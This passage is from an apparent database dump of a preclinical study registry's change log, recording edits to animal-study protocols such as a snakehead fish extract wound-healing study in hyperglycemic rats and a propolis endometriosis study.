	(209,237,'[{\"key\":\"end_date\",\"old_value\":\"2021-05-14\",\"new_value\":\"2021-06-25\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"A power of 0.85 and alpha of 0.0167 (due to Bonferoni correction 0.05\\/3=0.0167) results in a detectable effect size of 25%. An SD of 15% is taken into account. In the sham groups, a lesser spread is counted. Considering this, the required number of mice per group undergoing the operation is 11. Taking into account a failure of 10%, this equates to 12 mice per group. Due to a lower degree of spread in the mice undergoing sham surgery, 6 mice per group are needed. \",\"new_value\":\"A power of 0.85 and alpha of 0.0167 (due to Bonferoni correction 0.05\\/3=0.0167) results in a detectable effect size of 25%. An SD of 15% is taken into account. In the sham groups, a lesser spread is counted. Considering this, the required number of mice per group undergoing the operation is 11. Taking into account a failure of 10%, this equates to 12 mice per group. Due to a lower degree of spread in the mice undergoing sham surgery, 6 mice per group are needed, plus 1 to account for failure, resulting in 7 mice.  \"},{\"key\":\"sum_of_animals\",\"old_value\":\"-12 C57Bl6\\/J + IRI + anti-CTGF treatment mice\\n-12 C57Bl6\\/J + IRI + human IgG mice\\n-12 C57Bl6\\/J + IRI + PBS mice\\n-7 C57Bl6\\/J + sham + PBS mice\",\"new_value\":\"43 animals\"}]','2021-04-28 15:51:23','2021-04-28 15:51:23'),
	(210,240,'[{\"key\":\"experimental_design\",\"old_value\":\"Randomized control trial to hyperglycemic rats which induced by streptozotocin then give  snake-head fish extract per oral in intervention group and NaCMC as placebo in control group after induce acute wound in dorsal aspect of the rats.\",\"new_value\":\"First : Habituation procedure\\nAll rats is kept in pathogen-free conditions and adapted to laboratory conditions for 1 week with normal feeding with ADII Comfeed and given a light cycle of 12 hours of darkness and 12 hours of light. White rats is housed in plastic cages (five rats per cage), kept in standard conditions at room temperature (22 \\u00b1 2 \\u00b0 C), with free access to food and water.\\n\\nSecond : Intervention group will be given snakehead fish extract (Pujimin Plus\\u00ae 750 mg each capsule) at a dose of suspension 81 mg\\/day by feeding tube for 3 days. On the other hand,  Control group will be given Na CMC solution as a placebo. On the 3rd day of intake of snakehead fish extract, hyperglycemia induction will be performed by using Streptozotocin 8.5 mg intraperitoneally. Random blood glucose targets &gt; 200 mg\\/dL is checked 24 hours after streptozotocin induction to confirm hyperglycemia. \\n\\nThird : Prior to the wound procedure, the dorsal hair will be cleaned using hair remover gel then disinfected using alcohol 70% swab and then allowed to dry. The rats will be anesthetized with ketamine at a dose of 80-100mg\\/kg intraperitoneally.\\nWound procedures will be performed on the dorsal aspect of the rats using a punch biopsy with a diameter of 8 mm.\\n\\nAfter wound procedure, the intervention group will be given snakehead fish extract at a dose of 81 mg\\/day via feeding tube for the next 10 days and the control group will be given Na CMC solution as a placebo. Sampling will be carried out from 5 rats each group on day 0, day 3, and day 10 after wound procedure. The photo documentation of wound will be take every single day.\\n\\nThe rats will be sacrificed using high-dose isoflurane inhalation (0.05 \\u00b5g\\/kg\\/day) by placing the rat in a jar \\/ box and waiting for 5-10 minutes. The rats are buried after taking blood and tissue samples.\\n\\nThe last : The volume of blood is taken \\u00b1 1 ml using vacutainer tube for serum albumin examination and \\u00b1 1 ml for leukocyte counts examination then transported to Clinical Pathology Laboratory of the Hasanuddin University Hospital.\\nThe process of taking wound tissue through excision of the skin with a scapel number 20 at a distance of 1.5 cm from all edges of the wound. Tissue samples are stored in a container containing neutral buffered formalin 10% then transported to Anatomical Pathology Laboratory of the Hasanuddin University Hospital for histological examination including neutrophil, vascular, and fibroblasts analysis. \"},{\"key\":\"hypothesis\",\"old_value\":\"is there any effect of snake-head fish extract on acute wound in hyperglycemic rats?\",\"new_value\":\"Snakehead fish are commonly found in Indonesia and currently the extract has been used as part of therapy for wound healing. Snakehead fish extract contains high albumin, protein, and micronutrients (refer to Fauzan MR et al 2020 and Wijaya I et al, 2020)  which can support the wound healing process and reduce the inflammatory response. Various studies have used snakehead fish extract and get different results. there is still very limited research on hyperglycemic animals. Therefore, animal studies were carried out through homogenization of wound size, food, and body composition to determine the effect of snakehead fish extract. \\nStudies on hyperglycemic animal wounds are limited then without proper treatment, hyperglycemia conditions can cause prolonged wound healing (refer to Cheng KY et al, 2018).\"},{\"key\":\"title\",\"old_value\":\"The effect of snake-head fish extract on acute wound in hyperglycemic rats\",\"new_value\":\"The effect of snakehead fish extract on acute wound in hyperglycemic rats\"},{\"key\":\"sum_of_animals\",\"old_value\":\"30\",\"new_value\":\"Using Federer\'s Formula (N is more than or equals to 4).\\nTotal = 30 rats (15 rats for control groups and 15 rats for intervention groups)\"}]','2021-05-19 16:17:32','2021-05-19 16:17:32'),
	(211,185,'[{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Lupus neohritis activity index, skin lesion score, lymphadenopathy score\",\"new_value\":\"Lupus nephritis activity index, skin lesion score, lymphadenopathy score\"},{\"key\":\"investigators_blinded_assessment\",\"old_value\":\"\",\"new_value\":\"yes\"}]','2021-05-23 17:54:07','2021-05-23 17:54:07'),
	(212,240,'[{\"key\":\"experimental_design\",\"old_value\":\"First : Habituation procedure\\nAll rats is kept in pathogen-free conditions and adapted to laboratory conditions for 1 week with normal feeding with ADII Comfeed and given a light cycle of 12 hours of darkness and 12 hours of light. White rats is housed in plastic cages (five rats per cage), kept in standard conditions at room temperature (22 \\u00b1 2 \\u00b0 C), with free access to food and water.\\n\\nSecond : Intervention group will be given snakehead fish extract (Pujimin Plus\\u00ae 750 mg each capsule) at a dose of suspension 81 mg\\/day by feeding tube for 3 days. On the other hand,  Control group will be given Na CMC solution as a placebo. On the 3rd day of intake of snakehead fish extract, hyperglycemia induction will be performed by using Streptozotocin 8.5 mg intraperitoneally. Random blood glucose targets &gt; 200 mg\\/dL is checked 24 hours after streptozotocin induction to confirm hyperglycemia. \\n\\nThird : Prior to the wound procedure, the dorsal hair will be cleaned using hair remover gel then disinfected using alcohol 70% swab and then allowed to dry. The rats will be anesthetized with ketamine at a dose of 80-100mg\\/kg intraperitoneally.\\nWound procedures will be performed on the dorsal aspect of the rats using a punch biopsy with a diameter of 8 mm.\\n\\nAfter wound procedure, the intervention group will be given snakehead fish extract at a dose of 81 mg\\/day via feeding tube for the next 10 days and the control group will be given Na CMC solution as a placebo. Sampling will be carried out from 5 rats each group on day 0, day 3, and day 10 after wound procedure. The photo documentation of wound will be take every single day.\\n\\nThe rats will be sacrificed using high-dose isoflurane inhalation (0.05 \\u00b5g\\/kg\\/day) by placing the rat in a jar \\/ box and waiting for 5-10 minutes. The rats are buried after taking blood and tissue samples.\\n\\nThe last : The volume of blood is taken \\u00b1 1 ml using vacutainer tube for serum albumin examination and \\u00b1 1 ml for leukocyte counts examination then transported to Clinical Pathology Laboratory of the Hasanuddin University Hospital.\\nThe process of taking wound tissue through excision of the skin with a scapel number 20 at a distance of 1.5 cm from all edges of the wound. Tissue samples are stored in a container containing neutral buffered formalin 10% then transported to Anatomical Pathology Laboratory of the Hasanuddin University Hospital for histological examination including neutrophil, vascular, and fibroblasts analysis. \",\"new_value\":\"First : Habituation procedure\\nAll rats is kept in pathogen-free conditions and adapted to laboratory conditions for 1 week with normal feeding with ADII Comfeed and given a light cycle of 12 hours of darkness and 12 hours of light. White rats is housed in plastic cages (five rats per cage), kept in standard conditions at room temperature (22 \\u00b1 2 \\u00b0 C), with free access to food and water.\\n\\nSecond : Intervention group will be given snakehead fish extract (Pujimin Plus\\u00ae 750 mg each capsule) at a dose of suspension 81 mg\\/day by feeding tube for 3 days. On the other hand,  Control group will be given Na CMC solution as a placebo. On the 3rd day of intake of snakehead fish extract, hyperglycemia induction will be performed by using Streptozotocin 8.5 mg intraperitoneally. Random blood glucose targets &gt; 200 mg\\/dL is checked 24 hours after streptozotocin induction to confirm hyperglycemia. \\n\\nThird : Prior to the wound procedure, the dorsal hair will be cleaned using hair remover gel then disinfected using alcohol 70% swab and then allowed to dry. The rats will be anesthetized with ketamine at a dose of 80-100mg\\/kg intraperitoneally.\\nWound procedures will be performed on the dorsal aspect of the rats using a punch biopsy with a diameter of 8 mm.\\n\\nAfter wound procedure, the intervention group will be given snakehead fish extract at a dose of 81 mg\\/day via feeding tube for the next 10 days and the control group will be given Na CMC solution as a placebo. Sampling will be carried out from 5 rats (sacrifice) each group on day 0, day 3, and day 10 after wound procedure.\\n\\nThe rats will be sacrificed using high-dose isoflurane inhalation (0.05 \\u00b5g\\/kg\\/day) by placing the rat in a jar \\/ box and waiting for 5-10 minutes. The rats are buried after taking blood and tissue samples.\\n\\nThe last : \\nThe process of taking wound tissue through excision of the skin with a scapel number 20 at a distance of 1.5 cm from all edges of the wound. Tissue samples are stored in a container containing neutral buffered formalin 10% then transported to Anatomical Pathology Laboratory of the Hasanuddin University Hospital for histological examination including neutrophil, vascular, and fibroblasts analysis. \\nPhoto documention of wounds were taken on day 0, 3, 5, 7, 10.q\"},{\"key\":\"contact_name\",\"old_value\":\"Caroline Marsella\",\"new_value\":\"Nurpudji A Taslim\"},{\"key\":\"contact_role\",\"old_value\":\"reseacher\",\"new_value\":\"reseach group supervisor\"},{\"key\":\"contact_email\",\"old_value\":\"cp.marsella@yahoo.com\",\"new_value\":\"pudji_taslim@yahoo.com\"},{\"key\":\"financial_support\",\"old_value\":[\"investigator_driven\",\"grants\"],\"new_value\":[\"investigator_driven\"]},{\"key\":\"primary_readout_parameter\",\"old_value\":\"efficacy based on histopatology of wound healing process, serum albumin concentration, neutrophil to lymphocyte ratio\",\"new_value\":\"efficacy based on histology of wound healing process in hyperglycemic rats\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"\",\"new_value\":\"Macroscopical wound healing process\"},{\"key\":\"title\",\"old_value\":\"The effect of snakehead fish extract on acute wound in hyperglycemic rats\",\"new_value\":\"The effect of snakehead fish extract on acute wound healing process in hyperglycemic rats\"},{\"key\":\"short_title\",\"old_value\":\"\",\"new_value\":\"Snakehead fish and acute wound healing of hyperglycemic rats\"}]','2021-06-27 20:43:50','2021-06-27 20:43:50'),
	(213,240,'[{\"key\":\"experimental_design\",\"old_value\":\"First : Habituation procedure\\nAll rats is kept in pathogen-free conditions and adapted to laboratory conditions for 1 week with normal feeding with ADII Comfeed and given a light cycle of 12 hours of darkness and 12 hours of light. White rats is housed in plastic cages (five rats per cage), kept in standard conditions at room temperature (22 \\u00b1 2 \\u00b0 C), with free access to food and water.\\n\\nSecond : Intervention group will be given snakehead fish extract (Pujimin Plus\\u00ae 750 mg each capsule) at a dose of suspension 81 mg\\/day by feeding tube for 3 days. On the other hand,  Control group will be given Na CMC solution as a placebo. On the 3rd day of intake of snakehead fish extract, hyperglycemia induction will be performed by using Streptozotocin 8.5 mg intraperitoneally. Random blood glucose targets &gt; 200 mg\\/dL is checked 24 hours after streptozotocin induction to confirm hyperglycemia. \\n\\nThird : Prior to the wound procedure, the dorsal hair will be cleaned using hair remover gel then disinfected using alcohol 70% swab and then allowed to dry. The rats will be anesthetized with ketamine at a dose of 80-100mg\\/kg intraperitoneally.\\nWound procedures will be performed on the dorsal aspect of the rats using a punch biopsy with a diameter of 8 mm.\\n\\nAfter wound procedure, the intervention group will be given snakehead fish extract at a dose of 81 mg\\/day via feeding tube for the next 10 days and the control group will be given Na CMC solution as a placebo. Sampling will be carried out from 5 rats (sacrifice) each group on day 0, day 3, and day 10 after wound procedure.\\n\\nThe rats will be sacrificed using high-dose isoflurane inhalation (0.05 \\u00b5g\\/kg\\/day) by placing the rat in a jar \\/ box and waiting for 5-10 minutes. The rats are buried after taking blood and tissue samples.\\n\\nThe last : \\nThe process of taking wound tissue through excision of the skin with a scapel number 20 at a distance of 1.5 cm from all edges of the wound. Tissue samples are stored in a container containing neutral buffered formalin 10% then transported to Anatomical Pathology Laboratory of the Hasanuddin University Hospital for histological examination including neutrophil, vascular, and fibroblasts analysis. \\nPhoto documention of wounds were taken on day 0, 3, 5, 7, 10.q\",\"new_value\":\"First : Habituation procedure\\nAll rats is kept in pathogen-free conditions and adapted to laboratory conditions for 1 week with normal feeding with ADII Comfeed and given a light cycle of 12 hours of darkness and 12 hours of light. White rats is housed in plastic cages (five rats per cage), kept in standard conditions at room temperature (22 \\u00b1 2 \\u00b0 C), with free access to food and water.\\n\\nSecond : Intervention group will be given snakehead fish extract (Pujimin Plus\\u00ae 750 mg each capsule) at a dose of suspension 81 mg\\/day by feeding tube for 3 days. On the other hand,  Control group will be given Na CMC solution as a placebo. Hyperglycemia induction will be performed by using Streptozotocin 8.5 mg intraperitoneally. Random blood glucose targets &gt; 200 mg\\/dL is checked 24 hours after streptozotocin induction to confirm hyperglycemia. \\n\\nThird : Prior to the wound procedure, the dorsal hair will be cleaned using hair remover gel then disinfected using alcohol 70% swab and then allowed to dry. The rats will be anesthetized with ketamine at a dose of 80-100mg\\/kg intraperitoneally.\\nWound procedures will be performed on the dorsal aspect of the rats using a punch biopsy with a diameter of 8 mm.\\n\\nAfter wound procedure, the intervention group will be given snakehead fish extract at a dose of 81 mg\\/day via feeding tube for the next 10 days and the control group will be given Na CMC solution as a placebo. Sampling will be carried out from 5 rats (sacrifice) each group on day 0, day 3, and day 10 after wound procedure.\\n\\nThe rats will be sacrificed using high-dose isoflurane inhalation (0.05 \\u00b5g\\/kg\\/day) by placing the rat in a jar \\/ box and waiting for 5-10 minutes. The rats are buried after taking blood and tissue samples.\\n\\nThe last : \\nThe process of taking wound tissue through excision of the skin with a scapel number 20 at a distance of 1.5 cm from all edges of the wound. Tissue samples are stored in a container containing neutral buffered formalin 10% then transported to Anatomical Pathology Laboratory of the Hasanuddin University Hospital for histological examination including neutrophil, vascular, and fibroblasts analysis. \\nPhoto documention of wounds were taken on day 0, 3, 5, 7, 10.\"},{\"key\":\"contact_name\",\"old_value\":\"Nurpudji A Taslim\",\"new_value\":\"Caroline Prisilia Marsella\"},{\"key\":\"contact_role\",\"old_value\":\"reseach group supervisor\",\"new_value\":\"researcher\"},{\"key\":\"contact_email\",\"old_value\":\"pudji_taslim@yahoo.com\",\"new_value\":\"cp.marsella@yahoo.com\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"Using Federer\'s Formula  (Federer WT. Experimental design, theory, and application, 1967)\\n\\n(t-1)(n-1) &gt;=15\\n5(n-1) &gt;=15\\n5n &gt;= 20\\nn &gt;= 4\\n\\n t= number of group treatment = 6 (day 0, 3,10 in 2 groups)\\nn = number of sample\"},{\"key\":\"sum_of_animals\",\"old_value\":\"Using Federer\'s Formula (N is more than or equals to 4).\\nTotal = 30 rats (15 rats for control groups and 15 rats for intervention groups)\",\"new_value\":\"Using Federer\'s Formula  (Federer WT. Experimental design, theory, and application, 1967)\\n\\nAccording to \'n\' is more than or equals to 4, we performed sacrifices for 5 rats each group in day 0, 3, and 10.\\n(5 tissue samples in day 0, day 3, dan day 10 in each group).\\nSo we prepared 30 rats (15 rats for control groups and 15 rats for intervention groups).\"}]','2021-06-28 15:09:03','2021-06-28 15:09:03'),
	(214,244,'[{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Given the results of a pilot experiment (using a five-day MP-10 treatment regimen) and absence of any evidence for sensitization associated with the repeated administration of PDE10 inhibitors, we have used one-tailed tests. For alpha=0.025 and beta=0.8, required sample size was estimated to be 25 rats per group. Second, we have used the results of a pilot experiment with repeated administration of MP-10 and defined the expected effect as the difference between the activity scores in groups treated with repeated vehicle + acute MP-10 vs repeated MP-10 and acute MP-10. For alpha=0.025 and beta=0.8, required sample size was estimated to be 41 rats per group. Having 25 rats per group would yield power of 0.59. However, one should take into account that the pilot study was done with a shorter treatment (5 days) and the treatment duration was doubled for the main experiment.\",\"new_value\":\"Given the results of a pilot experiment (using a five-day MP-10 treatment regimen) and absence of any evidence for sensitization associated with the repeated administration of PDE10 inhibitors, we have used one-tailed tests. For alpha=0.025 and beta=0.8, required sample size was estimated to be 25 rats per group. Second, we have used the results of a pilot experiment with repeated administration of MP-10 and defined the expected effect as the difference between the activity scores in groups treated with repeated vehicle + acute MP-10 vs repeated MP-10 and acute MP-10. For alpha=0.025 and beta=0.8, required sample size was estimated to be 41 rats per group. Having 25 rats per group would yield power of 0.59. However, one should take into account that the pilot study was done with a shorter treatment (5 days) and the treatment duration was doubled for the main experiment.\\nIn concordance with block design of randomization each block includes 21 rats. Taking in account that 4 blocks (84 rats in total) is closer to 75 rats than 3 blocks (63 rats in total) we chose 4 blocks.\"}]','2021-07-08 09:46:09','2021-07-08 09:46:09'),
	(215,195,'[{\"key\":\"contact_name\",\"old_value\":\"Georg Schmolzer\",\"new_value\":\"Georg Schm\\u00f6lzer\"},{\"key\":\"hypothesis\",\"old_value\":\"Cardiac arrest in infants\\/children. We hypothesize that using 21% or 100% oxygen during chest compressions with sustained inflation (CC+SI) during CPR will reduce time to return of spontaneous circulation (ROSC). \",\"new_value\":\"The current pediatric resuscitation guidelines recommend continuous chest compression (CC) with non-synchronized ventilation and increase oxygen to 100%. Continuous chest compression (CC) with non-synchronized ventilation is called CCaV.\\nWe have recently described that superimposing CC with a sustained inflation (SI) can reduce the time to return of spontaneous circulation (ROSC). Superimposing CC with a sustained inflation (SI)  is called CC+SI.\\nIn the current study we aim to compare CC+SI with CCaV as well as 21% or 100% oxygen. We hypothesis that CC+SI during CPR will reduce time to ROSC. \"}]','2021-07-08 18:41:05','2021-07-08 18:41:05'),
	(216,208,'[{\"key\":\"end_date\",\"old_value\":\"2021-04-05\",\"new_value\":\"2020-10-09\"},{\"key\":\"has_embargo\",\"old_value\":\"yes\",\"new_value\":\"no\"},{\"key\":\"start_date\",\"old_value\":\"2020-07-06\",\"new_value\":\"2019-06-01\"},{\"key\":\"strain\",\"old_value\":\"Healthy untrained dogs with ages between 12 months up to 120 months (10 years), no specific breed or sex is required. Bloodwork, blood pressure, electrocardiograma and Echocardiogram within physiological ranges.\",\"new_value\":\"Healthy untrained dogs with ages between 12 months up to 84 months (7 years), no specific breed or sex is required. Bloodwork, blood pressure, electrocardiograma and Echocardiogram within physiological ranges.\"},{\"key\":\"study_status\",\"old_value\":\"active\",\"new_value\":\"completed_but_not_published\"}]','2021-07-21 16:28:28','2021-07-21 16:28:28'),
	(217,143,'[{\"key\":\"has_embargo\",\"old_value\":\"yes\",\"new_value\":\"no\"},{\"key\":\"link_to_data\",\"old_value\":\"https:\\/\\/www.cell.com\\/cell-stem-cell\\/pdf\\/S1934-5909(19)30013-X.pdf\",\"new_value\":\"Related article: https:\\/\\/www.cell.com\\/cell-stem-cell\\/pdf\\/S1934-5909(19)30013-X.pdf\\nCurrent article: doi: 10.1007\\/s00395-021-00875-7\"},{\"key\":\"study_status\",\"old_value\":\"active\",\"new_value\":\"completed_and_published_full-text\"}]','2021-07-23 08:46:47','2021-07-23 08:46:47'),
	(218,139,'[{\"key\":\"study_status\",\"old_value\":\"completed_but_not_published\",\"new_value\":\"completed_and_published_full-text\"}]','2021-07-28 17:14:44','2021-07-28 17:14:44'),
	(219,220,'[{\"key\":\"experimental_design\",\"old_value\":\"Wildtype\",\"new_value\":\"Wildtype animals from different vendors and the C57Bl\\/6 sub-strains were used. The animals were tail marked upon arrival for identification and randomization purposes by the primary experimenter. All animals were randomised by individual tail-markings and randomised by cage number. Animals were initially grouped by cage at random, and the same day of testing was maintained throughout the studies for each animal. The sequence of testing for animals in each day was randomised for each cage using Williams Design. Due to the nature of the studies, the experimenter was partially blinded (only to cage ID and genotype, but not to individual animal ID in respective cages). \\n\\nAnimals were tested in 3 olfactory tests in the following sequence: buried cookie test, 3-chamber task and habituation\\/dishabituation test. To minimize cross-habituation of odors, animals and related husbandry matters were handled and managed solely by the primary experimenter. All animals were handled an equal number of times (by half-scoop methods). \"},{\"key\":\"yes_blinded_intervention_partially_details\",\"old_value\":\"Yes\",\"new_value\":\"Sequence and day of testing were determined by a different investigator in the same group. \"},{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"completed_but_not_published\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"\",\"new_value\":\"Time spent exploring an odor stimulus and latency to unburying a buried odor stimulus will be obtained from an automated tracking system (ANY-maze).\"}]','2021-07-28 18:30:25','2021-07-28 18:30:25'),
	(220,139,'[{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"as stated in question 15 - this is secondary analysis of previously completed study to apply the ethics principal of reduce\"}]','2021-07-29 16:09:23','2021-07-29 16:09:23'),
	(221,246,'[{\"key\":\"experimental_design\",\"old_value\":\"The rats are divided into 12 groups, each treated with water, Dienogest 1 mg\\/kg bw\\/d, Propolis 50 mg\\/kg bw\\/d and Propolis 100 mg\\/kg bw\\/d with the duration of 2 weeks, 4 weeks and 6 weeks.\",\"new_value\":\"We used 60 Wistar rats for this study. First, laparotomy was performed in order to create endometriosis model. Thirty days following the first laparotomy, a second laparotomy was performed to ensure the formation of endometriosis. Then, the rats were divided into 12 groups, each treated with water (negative control), Dienogest 1 mg\\/kg bw\\/d (positive control), Propolis 50 mg\\/kg bw\\/d, and Propolis 100 mg\\/kg bw\\/d with the duration of 2 weeks, 4 weeks, and 6 weeks. Finally, the third laparotomy was performed on indicated time points after treatment in each group was complete. Lesion area (macroscopic), inflammatory activity, and apoptotic activity were evaluated.\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"sham\",\"number\":\"20\",\"intervention\":\"WT Sham\"},{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"Negative Control (Water)\"},{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"Positive Control (Dienogest 1mg\\/kg bw\\/d)\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"Propolis 50 mg\\/kg bw\\/d\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"Propolis 100 mg\\/kg bw\\/d\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Negative Control (Water) for 2 weeks\"},{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Negative Control (Water) for 4 weeks\"},{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Negative Control (Water) for 6 weeks\"},{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Positive Control (Dienogest 1mg\\/kg bw\\/d) for 2 weeks\"},{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Positive Control (Dienogest 1mg\\/kg bw\\/d) for 4 weeks\"},{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"Positive Control (Dienogest 1mg\\/kg bw\\/d) for 6 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 50 mg\\/kg bw\\/d for 2 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 50 mg\\/kg bw\\/d for 4 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 50 mg\\/kg bw\\/d for 6 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 100 mg\\/kg bw\\/d for 2 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 100 mg\\/kg bw\\/d for 4 weeks\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Propolis 100 mg\\/kg bw\\/d for 6 weeks\"}]},{\"key\":\"hypothesis\",\"old_value\":\"Propolis inhibits lesion growth, increases apoptotic activity and reduces inflammatory activity of Rat\'s endometriosis tissue\",\"new_value\":\"Propolis inhibits lesion growth, increases apoptotic activity, and reduces the inflammatory activity of rat\'s endometriosis tissue\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Sample size was determined by Federer Formula: (t-1)(n-1) \\u2265 15, with t is the number of treatment and n is the minimum number of sample. \",\"new_value\":\"The sample size was determined by Federer Formula: (t-1)(n-1) \\u2265 15, with t is the number of treatments and n is the minimum number of samples. \\nFor this study, the number for variable t that we used was 6. This corresponds to 6 intervention groups. Therefore, with Federer Formula, 5 is the required minimum samples per group.\"},{\"key\":\"species\",\"old_value\":\"monkey\",\"new_value\":\"rat\"},{\"key\":\"sum_of_animals\",\"old_value\":\"80\",\"new_value\":\"60\"}]','2021-08-09 06:48:52','2021-08-09 06:48:52'),
	(222,239,'[{\"key\":\"has_embargo\",\"old_value\":\"yes\",\"new_value\":\"no\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Proportion of patent anastomoses at the end of the three-month follow-up, defined per coronary angiography and histology.\",\"new_value\":\"Proportion of patent anastomoses at the end of the three-month follow-up. \\nA patent anastomosis is defined as;\\n-\\tAdequate run-off per coronary angiography, as stated by two individual investigators according to the protocol \\nAND\\n-\\tAdequate anastomotic opening in histology analyses as stated by two individual investigators, according to the protocol\\n\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"\",\"new_value\":\"-\\tProportion of patent anastomoses directly following the procedure\\n-\\tNotation of direct post-anastomotic formation transit time flow measurements. Transit time flow measurements register flow, pulsatility index, flow curves, and diastolic filling percentages. Also, coronary flow reserves will be depicted by hyperemic flow following graft occlusion\\n-\\tProportion of patent anastomoses at the five weeks mid-term analysis\\n-\\tDescription of the anastomotic remodeling at the end of the three-month follow-up per histological analyses.\\n-\\tProportion of mortality during the three-month follow-up period. Mortality will be registered as either device-related (anastomotic hemorrhage or occlusion) or non-device related (all other causes).\\n-\\tDescription of morbidity during the three-month follow-up period. Morbidity will be registered as possibly cardiac-related, or not cardiac related\\n-\\tSystemic and local thrombogenic response on implantation is described\\n-\\tSystemic and local inflammatory response on implantation is described\\n-\\tSystemic hemolytic response is described\\n-\\tComparison of the patency at end of follow-up between the two surgical access methods\"},{\"key\":\"strain\",\"old_value\":\"\",\"new_value\":\"SPF TopigsNorsvin (TN) genetica\"}]','2021-08-29 16:35:16','2021-08-29 16:35:16'),
	(223,248,'[{\"key\":\"experimental_design\",\"old_value\":\"Experimental animals\\n\\nAll the experiments will be carried out on Wistar albino rats, male, aged 3-4 months, weighing 180-220 g. They will be housed in polypropylene cages (47 x 34 x 20 cm) lined with husk, renewed every 24 hours under a 12-hour light\\/dark cycle at around 22C with 50% humidity. The rats had free access to a standard pellet diet and water.\\n\\nExperimental design and protocol\\n\\nA total of 24 Wistar albino rats will be randomly divided into six groups comprising of four animals per group.\\n\\nGroup I: Normal control group, will receive normal saline 1 ml\\/kg, i.p for 10 days.\\n\\nGroup II: Toxic control group, will receive normal saline 1 ml\\/kg, i.p for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG was recorded on the 10th day.\\n\\nGroup III: will receive OSO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG will be recorded on the 10th day.\\n\\nGroup IV: will receive PPO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG will be recorded on the 10th day.\\n\\nGroup V: will receive OSO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th day.\\n\\nGroup VI: will receive PPO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th day.\\n\\n4.4 Electrocardiogram\\n\\nFollowing ketamine anesthesia, each rat will be positioned on an animal operation table for ECG recording. Electrodes will be tied on the palmer surface of the clean limbs of rats. The front limbs and left-back limb will be used for the recording of ECG in standard leads, while the right-back limb was attached with a grounded electrode. A conductive ECG gel will be applied with care over each electrode to prevent a gel bridge between them from being formed. The electrocardiograph patterns will be recorded by PowerLab running LabChart Pro 7 software.\\n\\nECG of each experimental animal will analyze both qualitatively and quantitatively and further will be verified by an interventional cardiologist. ECG will be analyzed quantitatively in terms of the QT interval, ST-segment elevation, and QRS complex\",\"new_value\":\"Experimental animals\\n\\nAll the experiments will be carried out on Wistar albino rats, male, aged 3-4 months, weighing 180-220 g. They will be housed in polypropylene cages (47 x 34 x 20 cm) lined with husk, renewed every 24 hours under a 12-hour light\\/dark cycle at around 22C with 50% humidity. The rats had free access to a standard pellet diet and water.\\n\\nExperimental design and protocol\\n\\nA total of 36 Wistar albino rats will be randomly divided into six groups comprising of four animals per group.\\n\\nGroup I: Normal control group, will receive normal saline 1 ml\\/kg, i.p for 10 days.\\n\\nGroup II: Toxic control group, will receive normal saline 1 ml\\/kg, i.p for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG was recorded on the 10th day.\\n\\nGroup III: will receive OSO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG will be recorded on the 10th day.\\n\\nGroup IV: will receive PPO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG will be recorded on the 10th day.\\n\\nGroup V: will receive OSO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th day.\\n\\nGroup VI: will receive PPO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th day.\\n\\n4.4 Electrocardiogram\\n\\nFollowing ketamine anesthesia, each rat will be positioned on an animal operation table for ECG recording. Electrodes will be tied on the palmer surface of the clean limbs of rats. The front limbs and left-back limb will be used for the recording of ECG in standard leads, while the right-back limb was attached with a grounded electrode. A conductive ECG gel will be applied with care over each electrode to prevent a gel bridge between them from being formed. The electrocardiograph patterns will be recorded by PowerLab running LabChart Pro 7 software.\\n\\nECG of each experimental animal will analyze both qualitatively and quantitatively and further will be verified by an interventional cardiologist. ECG will be analyzed quantitatively in terms of the QT interval, ST-segment elevation, and QRS complex\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"4\",\"intervention\":\"normal saline 1 ml\\/kg, i.p for 10 days\"},{\"type\":\"control\",\"number\":\"4\",\"intervention\":\"normal saline 1 ml\\/kg, i.p for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG will be recorded on the 10th day\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"Received OSO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day and ECG will be recorded on the 10th 